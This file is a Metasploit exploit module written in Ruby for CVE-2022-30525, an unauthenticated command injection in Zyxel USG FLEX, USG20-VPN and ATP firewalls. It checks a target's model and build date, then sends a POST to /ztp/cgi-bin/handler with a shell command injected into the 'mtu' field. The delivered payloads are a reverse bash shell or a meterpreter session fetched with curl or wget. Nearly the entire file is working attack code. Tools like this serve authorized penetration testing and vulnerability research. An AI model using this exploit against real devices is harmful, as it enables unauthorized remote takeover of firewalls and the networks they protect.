## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection', 'Description' => %q{ This module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are: * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below * USG20-VPN and USG20W-VPN using firmware 5.21 and below * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2022-30525' ], [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/'] ], 'DisclosureDate' => '2022-04-28', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_MIPS64,], 'Privileged' => false, 'Targets' => [ [ 'Shell Dropper', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_MIPS64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'curl', 'wget' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end # Checks the build date that is embedded in the landing page. If it finds a build # date older than April 20, 2022 then it will additionally check if the model is # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this # seems like a reasonable approach. def check res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/')) unless res return CheckCode::Unknown('The target failed to respond to check.') end unless res.code == 200 return CheckCode::Safe('Failed to retrieve /') end ver = res.body[/favicon\.ico\?v=(?[0-9]{6,})/, :build_date] if ver.nil? return CheckCode::Safe('Could not extract a version number') end if ver[0..5].to_i < 220420 model = res.get_html_document.xpath('//title').text if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN')) return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}") end end CheckCode::Safe("This determination is based on the build date string: #{ver}.") end def execute_command(cmd, _opts = {}) handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler') print_status("Sending command to #{handler_uri}") # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too # but it's more involved. http_payload = { 'command' => 'setWanPortSt', 'proto' => 'dhcp', 'port' => Rex::Text.rand_text_numeric(4).to_s, 'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s, 'vlanid' => Rex::Text.rand_text_numeric(4).to_s, 'mtu' => ";#{cmd};", 'data' => '' } res = send_request_cgi({ 'method' => 'POST', 'uri' => handler_uri, 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, 'data' => http_payload.to_json }) # Successful exploitation can result in no response (connection being held open by a reverse shell) # or, if the command executes immediately, a response with a 503. if res && res.code != 503 fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.") end print_good('Command successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end